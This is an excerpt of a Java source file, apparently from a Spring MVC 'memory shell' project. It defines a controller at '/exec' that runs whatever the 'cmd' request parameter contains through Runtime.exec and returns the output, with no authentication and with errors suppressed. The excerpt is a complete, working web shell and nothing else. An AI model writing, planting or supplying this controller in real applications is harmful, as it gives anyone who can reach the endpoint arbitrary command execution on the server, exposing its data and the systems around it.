Class TestController

SpringMVCMemShell/src/main/java/TestController.java:10–38

import java.io.InputStreamReader;

@Controller
public class TestController {
    @RequestMapping({"/exec"})
    public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");

        try {
            String result = this.CommandExec(cmd);
            response.getWriter().println(result);
        } catch (Exception var7) {
        }
    }

    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        InputStream stderr = proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(stderr);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        StringBuffer sb = new StringBuffer();

        while((line = br.readLine()) != null) {
            sb.append(line + "\n");
        }

        return sb.toString();
    }
}